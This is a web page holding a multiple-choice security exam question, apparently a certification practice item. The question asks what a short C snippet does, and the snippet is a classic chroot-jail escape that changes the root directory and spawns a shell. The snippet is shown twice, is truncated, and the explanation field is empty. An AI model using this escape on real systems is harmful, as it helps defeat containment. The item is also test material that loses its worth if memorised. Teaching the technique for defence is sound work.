What is the following shellcode trying to accomplish?

What is the following shellcode trying to accomplish?
int main(void) {
mkdir(“A”);
chdir(“A”);
chroot(“..//..//..//..//..//..//..//..//”);
system(“/bin/sh”)

What is the following shellcode trying to accomplish?
int main(void) {
mkdir(“A”);
chdir(“A”);
chroot(“..//..//..//..//..//..//..//..//”);
system(“/bin/sh”)

A.
Corrupt the Linux kernel

B.
Break out of “chroot jail”

C.
Traverse to the /bin/sh directory

D.
Create a buffer overflow

Explanation:



Leave a Reply 0

Your email address will not be published. Required fields are marked *